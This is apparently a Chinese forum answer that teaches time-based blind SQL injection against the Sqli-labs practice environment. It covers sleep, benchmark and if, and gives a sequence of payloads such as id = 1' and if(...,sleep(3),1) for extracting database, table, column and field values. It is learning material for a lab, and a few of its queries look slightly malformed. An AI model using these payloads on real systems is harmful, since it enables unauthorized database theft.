SQL注入测试学习(二)时间盲注

SQL注入测试学习(二)时间盲注
最新回答
浪徒

2026-06-25 06:16:29

SQL注入测试学习(二)时间盲注

1. SQL注入测试环境

在进行时间盲注的学习之前,需要确保以下测试环境已搭建完成:

  • Apache+PHP+MySQL环境已搭建完成。
  • Sqli-labs已下载安装完成。

2. SQL注入类型之时间盲注

2.1 什么是时间盲注?

时间盲注,是通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。当页面出现延时响应,且响应时间与设定的时间函数一致时,表示前半部分的猜测正确;若查询直接返回结果,页面响应未出现延迟,则说明未执行到时间函数的部分,and的判断中前半部分就已经出错。

原理:利用and的短路原则。

2.2 时间盲注与布尔盲注的区别

  • 布尔盲注:主要是利用页面返回是否正确来判断。
  • 时间盲注:主要是利用页面响应时间延时来判断。

两者的区别是一个有回显,一个没有回显。回显的意思是页面上有显示查询的结果。一般,可以进行布尔盲注的地方也可以进行时间盲注,但可以进行时间盲注的地方不一定可以进行布尔盲注。因此,在盲注时,先使用布尔盲注测试,布尔盲注无效时再考虑时间盲注。时间盲注主要靠页面响应时间来判断,盲注的效率不如布尔盲注。

时间盲注适用页面不会返回错误信息,只会回显一种界面。即无论输入什么数据均返回同一个界面。

2.3 时间盲注相关函数

  • sleep(second):延迟函数,延迟second秒,如sleep(2)表示延迟2秒。

  • benchmark(count,expr):可测试某些特定操作的执行速度。count指的是执行次数,expr是表达式,表示重复计算表达式count次,评估执行表达式的效率。

    如计算100次查询user表中id为2的username字段值的执行效率。与sleep函数相反,benchmark函数只有子查询返回有值才会执行,也就是说猜中某个值的时候才会执行多次产生延时。

    备注:expr表达式必须返回单个值,不允许返回多行记录或多列的值,所以只能查询一个字段,且返回值只有1个的情况才适用这个函数。

  • if(condition,expr1,expr2):判断函数,如果condition为真,则执行expr1,否则执行expr2。使用该函数辅助盲注判断。

    如,判断id为2的username的第一个字母是A,A的ASCII码十进制值为65,判断正确则时间延迟3秒。

2.4 时间盲注步骤

(1)判断注入类型

通过以下语句判断注入类型:

  • id = 1' and if(1=1,sleep(3),1):若页面响应时间约为3秒,说明if后面的语句执行了,构成闭合,因此该页面的注入类型是单引号类型的。
  • id = 1" and if(1=1,sleep(3),1):若响应结果证明后面的语句没有执行,说明使用双引号没有形成闭合,所以注入类型不是双引号。

(2)时间盲注注入原理

注入原理:借助延迟时间函数和判断函数,判断猜测的表达式的值是否正确,正确则延时响应,否则不延时响应。

基本语句格式:id = 1' and if(表达式,sleep(延时秒数),1)

  • 数据库名长度:length(database()) = 猜测的长度值

    例如,从1开始猜测,至8时正确,延时时间为3秒,故数据库名称的长度为8。

  • 数据库名:ascii(substr(database(),1,1)) = 猜测的数据库名某一位字符的ASCII码值
  • 数据库表个数:(select count(table_name) from information_schema.TABLES WHERE TABLE_SCHEMA='security') = 猜测的数据表个数值
  • 数据表名长度:length((select table_name from information_schema.tables where table_schema='security')) = 猜测的数据表名的长度值
  • 数据表名:ascii(SUBSTR((select table_name from information_schema.tables where table_schema= 'security' limit 1),1,1)) = 猜测的数据表名某一位字符的ASCII码值
  • 数据表字段个数:(select count(*) from information_schema.columns where table_schema='security' and table_name = 'emails') = 猜测的数据表的字段个数值
  • 数据表字段名长度:length((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1)) = 猜测的数据表某个字段的长度值
  • 数据表字段名:ascii(SUBSTR((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1 offset 0),1,1)) = 猜测数据表名某个字段的ASCII码值
  • 数据表字段值个数:(select count(1) from security.emails) = 猜测的数据表的字段的个数值
  • 数据表字段值长度:length((select * from security.emails limit 1 offset 0)) = 猜测的数据表字段的长度值
  • 数据表字段值:ascii(substr((select security.emails limit 1 offset 0), 1, 1)) = 猜测的数据表字段值的某个字符的ASCII码值

以上表达式可直接代入进行猜测。这些语句与布尔查询的语句一致,爆破过程也类似,只是使用方式不同。建议使用工具或脚本进行爆破,手工爆破时间过长。